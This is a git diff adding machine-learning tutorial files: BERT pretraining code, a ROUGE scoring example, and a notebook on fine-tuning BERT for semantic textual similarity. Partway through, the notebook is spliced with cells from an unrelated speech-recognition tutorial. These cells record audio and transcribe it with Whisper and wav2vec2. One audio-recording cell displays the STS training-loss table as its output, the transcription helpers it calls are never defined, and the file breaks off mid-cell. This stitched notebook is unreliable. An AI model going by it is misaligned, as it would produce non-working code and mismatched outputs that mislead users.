+# if you want to train the tokenizer on both sets
+# files = ["train.txt", "test.txt"]
+# training the tokenizer on the training set
+files = ["train.txt"]
+# 30,522 vocab is BERT's default vocab size, feel free to tweak
+vocab_size = 30_522
+# maximum sequence length, lowering will result to faster training (when increasing batch size)
+max_length = 512
+# whether to truncate
+truncate_longer_samples = False
+
+# initialize the WordPiece tokenizer
+tokenizer = BertWordPieceTokenizer()
+# train the tokenizer
+tokenizer.train(files=files, vocab_size=vocab_size, special_tokens=special_tokens)
+# enable truncation up to the maximum 512 tokens
+tokenizer.enable_truncation(max_length=max_length)
+
+model_path = "pretrained-bert"
+# make the directory if not already there
+if not os.path.isdir(model_path):
+  os.mkdir(model_path)
+
+# save the tokenizer  
+tokenizer.save_model(model_path)
+
+# dumping some of the tokenizer config to config file, 
+# including special tokens, whether to lower case and the maximum sequence length
+with open(os.path.join(model_path, "config.json"), "w") as f:
+  tokenizer_cfg = {
+      "do_lower_case": True,
+      "unk_token": "[UNK]",
+      "sep_token": "[SEP]",
+      "pad_token": "[PAD]",
+      "cls_token": "[CLS]",
+      "mask_token": "[MASK]",
+      "model_max_length": max_length,
+      "max_len": max_length,
+  }
+  json.dump(tokenizer_cfg, f)
+
+# when the tokenizer is trained and configured, load it as BertTokenizerFast
+tokenizer = BertTokenizerFast.from_pretrained(model_path)
+
+def encode_with_truncation(examples):
+  """Mapping function to tokenize the sentences passed with truncation"""
+  return tokenizer(examples["text"], truncation=True, padding="max_length",
+                   max_length=max_length, return_special_tokens_mask=True)
+
+def encode_without_truncation(examples):
+  """Mapping function to tokenize the sentences passed without truncation"""
+  return tokenizer(examples["text"], return_special_tokens_mask=True)
+
+# the encode function will depend on the truncate_longer_samples variable
+encode = encode_with_truncation if truncate_longer_samples else encode_without_truncation
+
+# tokenizing the train dataset
+train_dataset = d["train"].map(encode, batched=True)
+# tokenizing the testing dataset
+test_dataset = d["test"].map(encode, batched=True)
+
+if truncate_longer_samples:
+  # remove other columns and set input_ids and attention_mask as PyTorch tensors
+  train_dataset.set_format(type="torch", columns=["input_ids", "attention_mask"])
+  test_dataset.set_format(type="torch", columns=["input_ids", "attention_mask"])
+else:
+  # remove other columns, and remain them as Python lists
+  test_dataset.set_format(columns=["input_ids", "attention_mask", "special_tokens_mask"])
+  train_dataset.set_format(columns=["input_ids", "attention_mask", "special_tokens_mask"])
+
+from itertools import chain
+# Main data processing function that will concatenate all texts from our dataset and generate chunks of
+# max_seq_length.
+# grabbed from: https://github.com/huggingface/transformers/blob/main/examples/pytorch/language-modeling/run_mlm.py
+def group_texts(examples):
+    # Concatenate all texts.
+    concatenated_examples = {k: list(chain(*examples[k])) for k in examples.keys()}
+    total_length = len(concatenated_examples[list(examples.keys())[0]])
+    # We drop the small remainder, we could add padding if the model supported it instead of this drop, you can
+    # customize this part to your needs.
+    if total_length >= max_length:
+        total_length = (total_length // max_length) * max_length
+    # Split by chunks of max_len.
+    result = {
+        k: [t[i : i + max_length] for i in range(0, total_length, max_length)]
+        for k, t in concatenated_examples.items()
+    }
+    return result
+
+# Note that with `batched=True`, this map processes 1,000 texts together, so group_texts throws away a
+# remainder for each of those groups of 1,000 texts. You can adjust that batch_size here but a higher value
+# might be slower to preprocess.
+#
+# To speed up this part, we use multiprocessing. See the documentation of the map method for more information:
+# https://huggingface.co/docs/datasets/package_reference/main_classes.html#datasets.Dataset.map
+if not truncate_longer_samples:
+  train_dataset = train_dataset.map(group_texts, batched=True,
+                                    desc=f"Grouping texts in chunks of {max_length}")
+  test_dataset = test_dataset.map(group_texts, batched=True,
+                                  desc=f"Grouping texts in chunks of {max_length}")
+  # convert them from lists to torch tensors
+  train_dataset.set_format("torch")
+  test_dataset.set_format("torch")
+
+len(train_dataset), len(test_dataset)
+
+# initialize the model with the config
+model_config = BertConfig(vocab_size=vocab_size, max_position_embeddings=max_length)
+model = BertForMaskedLM(config=model_config)
+
+# initialize the data collator, randomly masking 20% (default is 15%) of the tokens for the Masked Language
+# Modeling (MLM) task
+data_collator = DataCollatorForLanguageModeling(
+    tokenizer=tokenizer, mlm=True, mlm_probability=0.2
+)
+
+training_args = TrainingArguments(
+    output_dir=model_path,          # output directory to where save model checkpoint
+    evaluation_strategy="steps",    # evaluate each `logging_steps` steps
+    overwrite_output_dir=True,      
+    num_train_epochs=10,            # number of training epochs, feel free to tweak
+    per_device_train_batch_size=10, # the training batch size, put it as high as your GPU memory fits
+    gradient_accumulation_steps=8,  # accumulating the gradients before updating the weights
+    per_device_eval_batch_size=64,  # evaluation batch size
+    logging_steps=1000,             # evaluate, log and save model checkpoints every 1000 step
+    save_steps=1000,
+    # load_best_model_at_end=True,  # whether to load the best model (in terms of loss) at the end of training
+    # save_total_limit=3,           # whether you don't have much space so you let only 3 model weights saved in the disk
+)
+
+# initialize the trainer and pass everything to it
+trainer = Trainer(
+    model=model,
+    args=training_args,
+    data_collator=data_collator,
+    train_dataset=train_dataset,
+    eval_dataset=test_dataset,
+)
+
+# train the model
+trainer.train()
+
+# when you load from pretrained
+model = BertForMaskedLM.from_pretrained(os.path.join(model_path, "checkpoint-6000"))
+tokenizer = BertTokenizerFast.from_pretrained(model_path)
+# or simply use pipeline
+fill_mask = pipeline("fill-mask", model=model, tokenizer=tokenizer)
+
+# perform predictions
+example = "It is known that [MASK] is the capital of Germany"
+for prediction in fill_mask(example):
+  print(prediction)
+
+# perform predictions
+examples = [
+  "Today's most trending hashtags on [MASK] is Donald Trump",
+  "The [MASK] was cloudy yesterday, but today it's rainy.",
+]
+for example in examples:
+  for prediction in fill_mask(example):
+    print(f"{prediction['sequence']}, confidence: {prediction['score']}")
+  print("="*50)
+
+!nvidia-smi
\ No newline at end of file
diff --git a/machine-learning/nlp/pretraining-bert/requirements.txt b/machine-learning/nlp/pretraining-bert/requirements.txt
new file mode 100644
index 00000000..8dd20daf
--- /dev/null
+++ b/machine-learning/nlp/pretraining-bert/requirements.txt
@@ -0,0 +1,3 @@
+transformers==4.18.0
+datasets
+sentencepiece
\ No newline at end of file
diff --git a/machine-learning/nlp/rouge-score/README.md b/machine-learning/nlp/rouge-score/README.md
new file mode 100644
index 00000000..21d86a14
--- /dev/null
+++ b/machine-learning/nlp/rouge-score/README.md
@@ -0,0 +1 @@
+# [How to Calculate ROUGE Score in Python](https://www.thepythoncode.com/article/calculate-rouge-score-in-python)
\ No newline at end of file
diff --git a/machine-learning/nlp/rouge-score/requirements.txt b/machine-learning/nlp/rouge-score/requirements.txt
new file mode 100644
index 00000000..7f26c102
--- /dev/null
+++ b/machine-learning/nlp/rouge-score/requirements.txt
@@ -0,0 +1 @@
+rouge-score
\ No newline at end of file
diff --git a/machine-learning/nlp/rouge-score/rouge.py b/machine-learning/nlp/rouge-score/rouge.py
new file mode 100644
index 00000000..4b00c4c7
--- /dev/null
+++ b/machine-learning/nlp/rouge-score/rouge.py
@@ -0,0 +1,22 @@
+from rouge_score import rouge_scorer
+
+scorer = rouge_scorer.RougeScorer(['rouge1', 'rouge2', 'rougeL'], use_stemmer=True)
+
+# Single reference
+candidate_summary = "the cat was found under the bed"
+reference_summary = "the cat was under the bed"
+scores = scorer.score(reference_summary, candidate_summary)
+for key in scores:
+   print(f'{key}: {scores[key]}')
+
+# Multiple references
+candidate_summary = "the cat was found under the bed"
+reference_summaries = ["the cat was under the bed", "found a cat under the bed"]
+scores = {key: [] for key in ['rouge1', 'rouge2', 'rougeL']}
+for ref in reference_summaries:
+   temp_scores = scorer.score(ref, candidate_summary)
+   for key in temp_scores:
+       scores[key].append(temp_scores[key])
+
+for key in scores:
+   print(f'{key}:\n{scores[key]}')
\ No newline at end of file
diff --git a/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..952a0f75
--- /dev/null
+++ b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb
@@ -0,0 +1,1010 @@
+{
+  "cells": [
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "E2Cu87RMWw-P"
+      },
+      "source": [
+        "### 1. Install and import the required packages"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "4Px8aik4VaOY"
+      },
+      "outputs": [],
+      "source": [
+        "!pip install transformers sentence-transformers datasets"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "RUsTXFi1bNRI"
+      },
+      "outputs": [],
+      "source": [
+        "from datasets import load_dataset\n",
+        "from sentence_transformers import SentenceTransformer, models\n",
+        "from transformers import BertTokenizer\n",
+        "from transformers import get_linear_schedule_with_warmup\n",
+        "import torch\n",
+        "from torch.optim import AdamW\n",
+        "from torch.utils.data import DataLoader\n",
+        "from tqdm import tqdm\n",
+        "import time\n",
+        "import datetime\n",
+        "import random\n",
+        "import numpy as np\n",
+        "import pandas as pd"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "zMdAdDQbzWmC"
+      },
+      "source": [
+        "### 2. Use Google Colab's GPU for training"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "wB7TNNSrziMu",
+        "outputId": "53715022-a7af-439f-f978-637799295f85"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "There are 1 GPU(s) available.\n",
+            "We will use the GPU: Tesla T4\n"
+          ]
+        }
+      ],
+      "source": [
+        "if torch.cuda.is_available():    \n",
+        "    device = torch.device(\"cuda\")\n",
+        "    print(f'There are {torch.cuda.device_count()} GPU(s) available.')\n",
+        "    print('We will use the GPU:', torch.cuda.get_device_name(0))\n",
+        "else:\n",
+        "    print('No GPU available, using the CPU instead.')\n",
+        "    device = torch.device(\"cpu\")"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "kQ1Eel-3W-5b"
+      },
+      "source": [
+        "### **3.** Load and preview the Semantic Textual Similarity Benchmark (STSB) dataset"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "mgwlDDjtWM71"
+      },
+      "outputs": [],
+      "source": [
+        "# Load the English version of the STSB dataset\n",
+        "dataset = load_dataset(\"stsb_multi_mt\", \"en\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "BtUWgi0h_DjR",
+        "outputId": "bcd36c5b-7a37-4c8c-8bb5-8a46e7ed4d5c"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "DatasetDict({\n",
+            "    train: Dataset({\n",
+            "        features: ['sentence1', 'sentence2', 'similarity_score'],\n",
+            "        num_rows: 5749\n",
+            "    })\n",
+            "    test: Dataset({\n",
+            "        features: ['sentence1', 'sentence2', 'similarity_score'],\n",
+            "        num_rows: 1379\n",
+            "    })\n",
+            "    dev: Dataset({\n",
+            "        features: ['sentence1', 'sentence2', 'similarity_score'],\n",
+            "        num_rows: 1500\n",
+            "    })\n",
+            "})\n"
+          ]
+        }
+      ],
+      "source": [
+        "print(dataset)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "FEHZl4WeWv6r",
+        "outputId": "69885fad-1282-48e8-ab5e-29da8c548a85"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "A sample from the STSB dataset's training split:\n",
+            "{'sentence1': 'A man is slicing potatoes.', 'sentence2': 'A woman is peeling potato.', 'similarity_score': 2.200000047683716}\n"
+          ]
+        }
+      ],
+      "source": [
+        "print(\"A sample from the STSB dataset's training split:\")\n",
+        "print(dataset['train'][98])"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "OjMKsIuxYv6D"
+      },
+      "source": [
+        "### **4.** Define the dataset loader class\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "f2Hc2uwabgJa"
+      },
+      "outputs": [],
+      "source": [
+        "# Instantiate the BERT tokenizer\n",
+        "# You can use larger variants of the model, here we're using the base model\n",
+        "tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "uEI1p5-SaM8t"
+      },
+      "outputs": [],
+      "source": [
+        "class STSBDataset(torch.utils.data.Dataset):\n",
+        "\n",
+        "    def __init__(self, dataset):\n",
+        "\n",
+        "        # Normalize the similarity scores in the dataset\n",
+        "        similarity_scores = [i['similarity_score'] for i in dataset]\n",
+        "        self.normalized_similarity_scores = [i/5.0 for i in similarity_scores]\n",
+        "        self.first_sentences = [i['sentence1'] for i in dataset]\n",
+        "        self.second_sentences = [i['sentence2'] for i in dataset]\n",
+        "        self.concatenated_sentences = [[str(x), str(y)] for x,y in zip(self.first_sentences, self.second_sentences)]\n",
+        "\n",
+        "    def __len__(self):\n",
+        "\n",
+        "        return len(self.concatenated_sentences)\n",
+        "\n",
+        "    def get_batch_labels(self, idx):\n",
+        "\n",
+        "        return torch.tensor(self.normalized_similarity_scores[idx])\n",
+        "\n",
+        "    def get_batch_texts(self, idx):\n",
+        "\n",
+        "        return tokenizer(self.concatenated_sentences[idx], padding='max_length', max_length=128, truncation=True, return_tensors=\"pt\")\n",
+        "\n",
+        "    def __getitem__(self, idx):\n",
+        "\n",
+        "        batch_texts = self.get_batch_texts(idx)\n",
+        "        batch_y = self.get_batch_labels(idx)\n",
+        "\n",
+        "        return batch_texts, batch_y\n",
+        "\n",
+        "\n",
+        "def collate_fn(texts):\n",
+        "\n",
+        "    input_ids = texts['input_ids']\n",
+        "    attention_masks = texts['attention_mask']\n",
+        "\n",
+        "    features = [{'input_ids': input_id, 'attention_mask': attention_mask}\n",
+        "                for input_id, attention_mask in zip(input_ids, attention_masks)]\n",
+        "\n",
+        "    return features"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "w9ICUkr20JbP"
+      },
+      "source": [
+        "### 5. Define the model class based on BERT"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "EgTYEHC8b7kb"
+      },
+      "outputs": [],
+      "source": [
+        "class BertForSTS(torch.nn.Module):\n",
+        "\n",
+        "    def __init__(self):\n",
+        "\n",
+        "        super(BertForSTS, self).__init__()\n",
+        "        self.bert = models.Transformer('bert-base-uncased', max_seq_length=128)\n",
+        "        self.pooling_layer = models.Pooling(self.bert.get_word_embedding_dimension())\n",
+        "        self.sts_bert = SentenceTransformer(modules=[self.bert, self.pooling_layer])\n",
+        "\n",
+        "    def forward(self, input_data):\n",
+        "        output = self.sts_bert(input_data)['sentence_embedding']\n",
+        "        return output"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "yMNCebmb4Hlt"
+      },
+      "outputs": [],
+      "source": [
+        "# Instantiate the model and move it to GPU\n",
+        "model = BertForSTS()\n",
+        "model.to(device)"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "IXqIA_D_2nYC"
+      },
+      "source": [
+        "### 6. Define the Cosine Similarity loss function"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "ty7Q630Ob96f"
+      },
+      "outputs": [],
+      "source": [
+        "class CosineSimilarityLoss(torch.nn.Module):\n",
+        "\n",
+        "    def __init__(self,  loss_fn=torch.nn.MSELoss(), transform_fn=torch.nn.Identity()):\n",
+        "        super(CosineSimilarityLoss, self).__init__()\n",
+        "        self.loss_fn = loss_fn\n",
+        "        self.transform_fn = transform_fn\n",
+        "        self.cos_similarity = torch.nn.CosineSimilarity(dim=1)\n",
+        "\n",
+        "    def forward(self, inputs, labels):\n",
+        "        emb_1 = torch.stack([inp[0] for inp in inputs])\n",
+        "        emb_2 = torch.stack([inp[1] for inp in inputs])\n",
+        "        outputs = self.transform_fn(self.cos_similarity(emb_1, emb_2))\n",
+        "        return self.loss_fn(outputs, labels.squeeze())"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "B688H4qY26ZG"
+      },
+      "source": [
+        "### 7. Prepare the training and validation data split"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "PrQvEJgC4VeB",
+        "outputId": "2ce3100a-727a-4909-9481-7d6ff0464c12"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "5,749 training samples\n",
+            "1,500 validation samples\n"
+          ]
+        }
+      ],
+      "source": [
+        "train_ds = STSBDataset(dataset['train'])\n",
+        "val_ds = STSBDataset(dataset['dev'])\n",
+        "\n",
+        "# Create a 90-10 train-validation split.\n",
+        "train_size = len(train_ds)\n",
+        "val_size = len(val_ds)\n",
+        "\n",
+        "print('{:>5,} training samples'.format(train_size))\n",
+        "print('{:>5,} validation samples'.format(val_size))"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "eUPorlzExygm"
+      },
+      "outputs": [],
+      "source": [
+        "batch_size = 8\n",
+        "\n",
+        "train_dataloader = DataLoader(\n",
+        "            train_ds,  # The training samples.\n",
+        "            num_workers = 4,\n",
+        "            batch_size = batch_size, # Use this batch size.\n",
+        "            shuffle=True # Select samples randomly for each batch\n",
+        "        )\n",
+        "\n",
+        "validation_dataloader = DataLoader(\n",
+        "            val_ds,\n",
+        "            num_workers = 4,\n",
+        "            batch_size = batch_size # Use the same batch size\n",
+        "        )"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "5avkJtGn2-al"
+      },
+      "source": [
+        "### 8. Define the Optimizer and Scheduler"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "lB_HcVbl3EZw"
+      },
+      "outputs": [],
+      "source": [
+        "optimizer = AdamW(model.parameters(),\n",
+        "                  lr = 1e-6)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "RVT3cA_-3NPP"
+      },
+      "outputs": [],
+      "source": [
+        "epochs = 8\n",
+        "\n",
+        "# Total number of training steps is [number of batches] x [number of epochs]. \n",
+        "total_steps = len(train_dataloader) * epochs\n",
+        "\n",
+        "scheduler = get_linear_schedule_with_warmup(optimizer, \n",
+        "                                            num_warmup_steps = 0,\n",
+        "                                            num_training_steps = total_steps)"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "zyIxF_7J3ep5"
+      },
+      "source": [
+        "### 9. Define a helper function for formatting the elapsed training time as `hh:mm:ss`"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "JH7_0ASp3oDW"
+      },
+      "outputs": [],
+      "source": [
+        "# Takes a time in seconds and returns a string hh:mm:ss\n",
+        "def format_time(elapsed):\n",
+        "    # Round to the nearest second.\n",
+        "    elapsed_rounded = int(round((elapsed)))\n",
+        "    \n",
+        "    # Format as hh:mm:ss\n",
+        "    return str(datetime.timedelta(seconds=elapsed_rounded))"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "jJFhpUJp92Qe"
+      },
+      "source": [
+        "### 10. Define the training function, and start the training loop"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "vdeUXU915NE5"
+      },
+      "outputs": [],
+      "source": [
+        "def train():\n",
+        "  seed_val = 42\n",
+        "\n",
+        "  criterion = CosineSimilarityLoss()\n",
+        "  criterion = criterion.to(device)\n",
+        "\n",
+        "  random.seed(seed_val)\n",
+        "  torch.manual_seed(seed_val)\n",
+        "\n",
+        "  # We'll store a number of quantities such as training and validation loss, \n",
+        "  # validation accuracy, and timings.\n",
+        "  training_stats = []\n",
+        "  total_t0 = time.time()\n",
+        "\n",
+        "  for epoch_i in range(0, epochs):\n",
+        "      \n",
+        "      # ========================================\n",
+        "      #               Training\n",
+        "      # ========================================\n",
+        "\n",
+        "      print(\"\")\n",
+        "      print('======== Epoch {:} / {:} ========'.format(epoch_i + 1, epochs))\n",
+        "      print('Training...')\n",
+        "\n",
+        "      t0 = time.time()\n",
+        "\n",
+        "      total_train_loss = 0\n",
+        "\n",
+        "      model.train()\n",
+        "\n",
+        "      # For each batch of training data...\n",
+        "      for train_data, train_label in tqdm(train_dataloader):\n",
+        "\n",
+        "          train_data['input_ids'] = train_data['input_ids'].to(device)\n",
+        "          train_data['attention_mask'] = train_data['attention_mask'].to(device)\n",
+        "\n",
+        "          train_data = collate_fn(train_data)\n",
+        "          model.zero_grad()\n",
+        "\n",
+        "          output = [model(feature) for feature in train_data]\n",
+        "\n",
+        "          loss = criterion(output, train_label.to(device))\n",
+        "          total_train_loss += loss.item()\n",
+        "\n",
+        "          loss.backward()\n",
+        "          torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)\n",
+        "          optimizer.step()\n",
+        "          scheduler.step()\n",
+        "\n",
+        "      \n",
+        "      # Calculate the average loss over all of the batches.\n",
+        "      avg_train_loss = total_train_loss / len(train_dataloader)            \n",
+        "      \n",
+        "      # Measure how long this epoch took.\n",
+        "      training_time = format_time(time.time() - t0)\n",
+        "\n",
+        "      print(\"\")\n",
+        "      print(\"  Average training loss: {0:.5f}\".format(avg_train_loss))\n",
+        "      print(\"  Training epoch took: {:}\".format(training_time))\n",
+        "          \n",
+        "      # ========================================\n",
+        "      #               Validation\n",
+        "      # ========================================\n",
+        "\n",
+        "      print(\"\")\n",
+        "      print(\"Running Validation...\")\n",
+        "\n",
+        "      t0 = time.time()\n",
+        "\n",
+        "      model.eval()\n",
+        "\n",
+        "      total_eval_accuracy = 0\n",
+        "      total_eval_loss = 0\n",
+        "      nb_eval_steps = 0\n",
+        "\n",
+        "      # Evaluate data for one epoch\n",
+        "      for val_data, val_label in tqdm(validation_dataloader):\n",
+        "\n",
+        "          val_data['input_ids'] = val_data['input_ids'].to(device)\n",
+        "          val_data['attention_mask'] = val_data['attention_mask'].to(device)\n",
+        "\n",
+        "          val_data = collate_fn(val_data)\n",
+        "\n",
+        "          with torch.no_grad():        \n",
+        "              output = [model(feature) for feature in val_data]\n",
+        "\n",
+        "          loss = criterion(output, val_label.to(device))\n",
+        "          total_eval_loss += loss.item()\n",
+        "\n",
+        "      # Calculate the average loss over all of the batches.\n",
+        "      avg_val_loss = total_eval_loss / len(validation_dataloader)\n",
+        "      \n",
+        "      # Measure how long the validation run took.\n",
+        "      validation_time = format_time(time.time() - t0)\n",
+        "      \n",
+        "      print(\"  Validation Loss: {0:.5f}\".format(avg_val_loss))\n",
+        "      print(\"  Validation took: {:}\".format(validation_time))\n",
+        "\n",
+        "      # Record all statistics from this epoch.\n",
+        "      training_stats.append(\n",
+        "          {\n",
+        "              'epoch': epoch_i + 1,\n",
+        "              'Training Loss': avg_train_loss,\n",
+        "              'Valid. Loss': avg_val_loss,\n",
+        "              'Training Time': training_time,\n",
+        "              'Validation Time': validation_time\n",
+        "          }\n",
+        "      )\n",
+        "\n",
+        "  print(\"\")\n",
+        "  print(\"Training complete!\")\n",
+        "\n",
+        "  print(\"Total training took {:} (h:mm:ss)\".format(format_time(time.time()-total_t0)))\n",
+        "\n",
+        "  return model, training_stats"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "CoWW_TnZgSRf"
+      },
+      "outputs": [],
+      "source": [
+        "# Launch the training\n",
+        "model, training_stats = train()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 331
+        },
+        "id": "nEgMWBU7fzXh",
+        "outputId": "2adcb8b2-7fb3-422e-d08e-cf701c0240cf"
+      },
+      "outputs": [
+        {
+          "data": {
+            "text/html": [
+              "\n",
+              "  \n",
+              "    
\n",
+              "      
\n",
+              "\n",
+              "
\n",
+              "  \n",
+              "    \n",
+              "      Training Loss \n",
+              "      Valid. Loss \n",
+              "      Training Time \n",
+              "      Validation Time \n",
+              "     \n",
+              "    \n",
+              "      epoch \n",
+              "       \n",
+              "   \n",
+              "  \n",
+              "    \n",
+              "      1 \n",
+              "      0.032639 \n",
+              "      0.037972 \n",
+              "      0:05:29 \n",
+              "      0:00:28 \n",
+              "     \n",
+              "    \n",
+              "      2 \n",
+              "      0.030737 \n",
+              "      0.035472 \n",
+              "      0:05:28 \n",
+              "      0:00:28 \n",
+              "     \n",
+              "    \n",
+              "      3 \n",
+              "      0.027920 \n",
+              "      0.033640 \n",
+              "      0:05:29 \n",
+              "      0:00:28 \n",
+              "     \n",
+              "    \n",
+              "      4 \n",
+              "      0.025090 \n",
+              "      0.032185 \n",
+              "      0:05:29 \n",
+              "      0:00:28 \n",
+              "     \n",
+              "    \n",
+              "      5 \n",
+              "      0.023217 \n",
+              "      0.030802 \n",
+              "      0:05:27 \n",
+              "      0:00:28 \n",
+              "     \n",
+              "    \n",
+              "      6 \n",
+              "      0.021199 \n",
+              "      0.030223 \n",
+              "      0:05:29 \n",
+              "      0:00:28 \n",
+              "     \n",
+              "    \n",
+              "      7 \n",
+              "      0.019567 \n",
+              "      0.029389 \n",
+              "      0:05:28 \n",
+              "      0:00:28 \n",
+              "     \n",
+              "    \n",
+              "      8 \n",
+              "      0.017866 \n",
+              "      0.028664 \n",
+              "      0:05:29 \n",
+              "      0:00:28 \n",
+              "     \n",
+              "   \n",
+              "
\n",
+              "
\n",
+              "      
\n",
+              "        \n",
+              "  \n",
+              "    \n",
+              "      \n",
+              "       \n",
+              "      \n",
+              "  \n",
+              "\n",
+              "      \n",
+              "    
\n",
+              "  
"
+            ]
+          },
+          "metadata": {},
+          "output_type": "display_data"
+        },
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Finished recording!\n"
+          ]
+        },
+        {
+          "data": {
+            "text/html": [
+              "\n",
+              "                \n",
+              "                     \n",
+              "              "
+            ],
+            "text/plain": [
+              ""
+            ]
+          },
+          "metadata": {},
+          "output_type": "display_data"
+        }
+      ],
+      "source": [
+        "from IPython.display import Audio, display, clear_output\n",
+        "from colab_utils import record_audio\n",
+        "import ipywidgets as widgets\n",
+        "from scipy.io import wavfile\n",
+        "import numpy as np\n",
+        "\n",
+        "\n",
+        "record_seconds =   20#@param {type:\"number\", min:1, max:10, step:1}\n",
+        "sample_rate = 16000\n",
+        "\n",
+        "def _record_audio(b):\n",
+        "  clear_output()\n",
+        "  audio = record_audio(record_seconds)\n",
+        "  display(Audio(audio, rate=sample_rate, autoplay=True))\n",
+        "  wavfile.write('recorded.wav', sample_rate, (32767*audio).numpy().astype(np.int16))\n",
+        "\n",
+        "button = widgets.Button(description=\"Record Speech\")\n",
+        "button.on_click(_record_audio)\n",
+        "display(button)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "K0Ka85iA2gUC",
+        "outputId": "e7dc81d0-442a-4440-a58e-0288af34be8a"
+      },
+      "outputs": [
+        {
+          "name": "stderr",
+          "output_type": "stream",
+          "text": [
+            "/usr/local/lib/python3.9/dist-packages/transformers/generation/utils.py:1313: UserWarning: Using `max_length`'s default (448) to control the generation length. This behaviour is deprecated and will be removed from the config in v5 of Transformers -- we recommend using `max_new_tokens` to control the maximum length of the generation.\n",
+            "  warnings.warn(\n"
+          ]
+        },
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Whisper:  In 1905, Einstein published four groundbreaking papers. These outlined the theory of the photoelectric effect, explained Brownian motion, introduced special relativity, and demonstrated mass-energy equivalence. Einstein thought that the laws of\n",
+            "Wav2vec2: in nineteen o five ennstein published foreground brickin papers thise outlined the theory of the photo electric effect explained brownin motion introduced special relativity and demonstrated mass energy equivalents ennstein thought that the laws\n"
+          ]
+        }
+      ],
+      "source": [
+        "print(\"Whisper:\", get_transcription_whisper(\"recorded.wav\", whisper_model, whisper_processor))\n",
+        "print(\"Wav2vec2:\", get_transcription_wav2vec2(\"recorded.wav\", wav2vec2_model, wav2vec2_processor))"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "UbQxYoBXl9c7"
+      },
+      "source": [
+        "# Transcribing Long Audio Samples"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 20,
+      "metadata": {
+        "id": "HLbh4VJxkxJp"
+      },
+      "outputs": [],
+      "source": [
+        "def get_long_transcription_whisper(audio_path, pipe, return_timestamps=True, \n",
+        "                                   chunk_length_s=10, stride_length_s=2):\n",
+        "    \"\"\"Get the transcription of a long audio file using the Whisper model\"\"\"\n",
+        "    return pipe(load_audio(audio_path).numpy(), return_timestamps=return_timestamps,\n",
+        "                  chunk_length_s=chunk_length_s, stride_length_s=stride_length_s)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
